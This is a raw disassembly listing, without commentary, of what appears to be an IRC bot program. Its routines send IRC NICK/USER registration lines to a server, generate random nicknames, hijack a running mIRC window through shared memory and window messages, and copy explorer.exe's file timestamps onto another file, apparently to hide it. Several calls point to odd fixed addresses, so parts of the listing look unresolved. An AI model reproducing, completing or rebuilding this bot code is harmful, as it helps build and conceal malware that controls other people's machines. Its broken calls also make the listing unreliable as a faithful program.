		call	dword_4CB6A4


loc_4178B4:				; CODE XREF: sub_4177D0+87j
		xor	eax, eax


loc_4178B6:				; CODE XREF: sub_4177D0+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BB	proc near		; DATA XREF: sub_417A60+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D46F4[esi]
		mov	dword_4D46E8[esi], edi
		push	dword_4D48F4[esi]
		push	eax
		call	sub_417703
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D46EC[esi], eax
		jb	loc_417A40
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADE
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADE
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB6A4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417997:				; CODE XREF: sub_4178BB+111j
					; sub_4178BB+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D46EC[esi]
		call	dword_4CB66C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A40
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417997


loc_4179CE:				; CODE XREF: sub_4178BB+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F5
		cmp	al, 0Ah
		jz	short loc_4179F5
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F5
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2F
; ---------------------------------------------------------------------------


loc_4179F5:				; CODE XREF: sub_4178BB+11Cj
					; sub_4178BB+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2F
		push	dword_4D46EC[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A40
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2F:				; CODE XREF: sub_4178BB+138j
					; sub_4178BB+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CE
		jmp	loc_417997
; ---------------------------------------------------------------------------


loc_417A40:				; CODE XREF: sub_4178BB+40j
					; sub_4178BB+107j ...
		mov	dword_4D46E8[esi], ebx
		mov	esi, dword_4D46EC[esi]
		cmp	esi, ebx
		jbe	short loc_417A57
		push	esi
		call	dword_4CB6EC


loc_417A57:				; CODE XREF: sub_4178BB+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A60	proc near		; CODE XREF: sub_401ACD+31E2p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD9


loc_417A72:				; CODE XREF: sub_417A60+77j
		xor	edi, edi
		mov	eax, offset dword_4D46E8


loc_417A79:				; CODE XREF: sub_417A60+28j
		cmp	[eax], ebx
		jz	short loc_417A8A
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DAE08
		jl	short loc_417A79


loc_417A8A:				; CODE XREF: sub_417A60+1Bj
		cmp	edi, 31h
		jz	short loc_417AD9
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D46F4[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D48F4[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D46E8[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BB
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A72


loc_417AD9:				; CODE XREF: sub_417A60+10j
					; sub_417A60+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_401ACD+374Ep
					; sub_401ACD+3794p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B28
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_4385E8[edx*4]
		jmp	short loc_417B41
; ---------------------------------------------------------------------------


loc_417B28:				; CODE XREF: sub_417ADE+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_4382E8[edx*4]


loc_417B41:				; CODE XREF: sub_417ADE+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB4
		cmp	esi, 3
		jnz	short loc_417BAB
		cmp	ebx, 1
		jz	short loc_417BB4


loc_417BAB:				; CODE XREF: sub_417ADE+C6j
		cmp	eax, 1
		jnz	loc_417C6E


loc_417BB4:				; CODE XREF: sub_417ADE+C1j
					; sub_417ADE+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		push	off_4385E8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5B
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5B
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5B
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5B:				; CODE XREF: sub_417ADE+111j
					; sub_417ADE+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6E:				; CODE XREF: sub_417ADE+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED6
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCD
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDC
		cmp	eax, 1
		jnz	loc_417DCD


loc_417CDC:				; CODE XREF: sub_417ADE+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1E
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D3A
; ---------------------------------------------------------------------------


loc_417D1E:				; CODE XREF: sub_417ADE+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D3A:				; CODE XREF: sub_417ADE+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D63
		cmp	eax, ebx
		jnz	short loc_417DCD


loc_417D63:				; CODE XREF: sub_417ADE+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA8
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E0
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC6
; ---------------------------------------------------------------------------


loc_417DA8:				; CODE XREF: sub_417ADE+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC6:				; CODE XREF: sub_417ADE+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCD:				; CODE XREF: sub_417ADE+1C9j
					; sub_417ADE+1F8j ...
		cmp	esi, 6
		jge	loc_417E56
		cmp	esi, 5
		jge	short loc_417DEE
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E8
		jmp	short loc_417E0C
; ---------------------------------------------------------------------------


loc_417DEE:				; CODE XREF: sub_417ADE+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E0


loc_417E0C:				; CODE XREF: sub_417ADE+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2F
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4C
; ---------------------------------------------------------------------------


loc_417E2F:				; CODE XREF: sub_417ADE+335j
		cmp	eax, 1
		jnz	short loc_417E56
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		mov	cl, 41h


loc_417E4C:				; CODE XREF: sub_417ADE+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E56:				; CODE XREF: sub_417ADE+2F2j
					; sub_417ADE+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED6
		cmp	[ebp+var_C], eax
		jge	short loc_417ED6
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B0
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED6:				; CODE XREF: sub_417ADE+1B1j
					; sub_417ADE+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEF	proc near		; CODE XREF: sub_401ACD+BECp
					; sub_401ACD+C29p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F7A
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F7A
		cmp	[ebp+arg_8], esi
		jz	short loc_417F7A
		cmp	byte ptr [eax],	0
		jz	short loc_417F7A
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F75
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6E
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6E:				; CODE XREF: sub_417EEF+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F75:				; CODE XREF: sub_417EEF+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7C
; ---------------------------------------------------------------------------


loc_417F7A:				; CODE XREF: sub_417EEF+Cj
					; sub_417EEF+13j ...
		xor	eax, eax


loc_417F7C:				; CODE XREF: sub_417EEF+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F80	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F1p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB6
		or	eax, 0FFFFFFFFh
		jmp	short loc_418029
; ---------------------------------------------------------------------------


loc_417FB6:				; CODE XREF: sub_417F80+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD8


loc_417FC2:				; CODE XREF: sub_417F80+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCF
		cmp	dl, 0Dh
		jnz	short loc_417FD3


loc_417FCF:				; CODE XREF: sub_417F80+48j
		and	byte ptr [ecx+esi], 0


loc_417FD3:				; CODE XREF: sub_417F80+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC2


loc_417FD8:				; CODE XREF: sub_417F80+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418009
		lea	edi, [ebp+var_7CC]


loc_417FE5:				; CODE XREF: sub_417F80+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418004
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418004
		cmp	ebx, 1F4h
		jge	short loc_418009
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418004:				; CODE XREF: sub_417F80+69j
					; sub_417F80+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE5


loc_418009:				; CODE XREF: sub_417F80+5Dj
					; sub_417F80+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418027
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418027:				; CODE XREF: sub_417F80+8Ej
		mov	eax, ebx


loc_418029:				; CODE XREF: sub_417F80+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802D	proc near		; CODE XREF: sub_418087+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418066
		push	ebx
		mov	ebx, edi


loc_41804A:				; CODE XREF: sub_41802D+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418069
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_41804A
		pop	ebx


loc_418066:				; CODE XREF: sub_41802D+18j
		pop	edi
		pop	esi
		retn
sub_41802D	endp


; =============== S U B	R O U T	I N E =======================================



sub_418069	proc near		; CODE XREF: sub_41802D+25p
					; sub_418087+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418084
		cmp	al, 7Ah
		jg	short loc_418084
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418084:				; CODE XREF: sub_418069+Ej
					; sub_418069+12j
		xor	eax, eax
		retn
sub_418069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418087	proc near		; CODE XREF: ___:0041532Ep

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802D
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C5:				; CODE XREF: sub_418087+B6j
		test	esi, esi
		jle	short loc_418143
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813B


loc_4180EB:				; CODE XREF: sub_418087+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418069
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810C
		mov	eax, ecx


loc_41810C:				; CODE XREF: sub_418087+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813F
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EB


loc_41813B:				; CODE XREF: sub_418087+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C5
; ---------------------------------------------------------------------------


loc_41813F:				; CODE XREF: sub_418087+8Aj
		xor	eax, eax
		jmp	short loc_418148
; ---------------------------------------------------------------------------


loc_418143:				; CODE XREF: sub_418087+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418148:				; CODE XREF: sub_418087+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418087	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814D	proc near		; CODE XREF: sub_401ACD+67A4p
					; sub_401ACD+789Fp

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26908E1h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27E0000h
		lea	eax, [ebp+var_100]


loc_418186:				; CODE XREF: sub_41814D+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418192
		cmp	cl, 9
		jnz	short loc_418195


loc_418192:				; CODE XREF: sub_41814D+3Ej
		inc	eax
		jmp	short loc_418186
; ---------------------------------------------------------------------------


loc_418195:				; CODE XREF: sub_41814D+43j
					; sub_41814D+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AF
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418195
		cmp	cl, 21h
		jl	short loc_418195


loc_4181AF:				; CODE XREF: sub_41814D+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DAE0C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D7	proc near		; CODE XREF: sub_401ACD+24CBp
		push	esi
		push	0
		call	dword_4CB624
		test	eax, eax
		jz	short loc_41820E
		push	1
		call	dword_4CB644
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820E
		push	edi
		push	esi
		nop
		call	near ptr 27F060Dh
		push	esi
		mov	edi, eax
		call	near ptr 27F0000h
		nop
		call	dword_4CB6A8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820E:				; CODE XREF: sub_4181D7+Bj
					; sub_4181D7+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_418212	proc near		; CODE XREF: sub_401ACD+7662p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CB660
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828E
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2800422h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 280030Ch
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CB6B0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CB6B0
		push	ebx
		call	near ptr 2800000h
		nop
		push	edi
		nop
		call	near ptr 2670894h
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_418290
; ---------------------------------------------------------------------------


loc_41828E:				; CODE XREF: sub_418212+16j
		xor	eax, eax


loc_418290:				; CODE XREF: sub_418212+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_418212	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418294	proc near		; CODE XREF: ___:00401433p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4CB710
		test	eax, eax
		jz	short loc_418333
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_4270EC
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 2810720h
		nop
		push	ebx
		mov	ebx, dword_427068
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418333
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 2810000h
		push	esi
		call	ebx


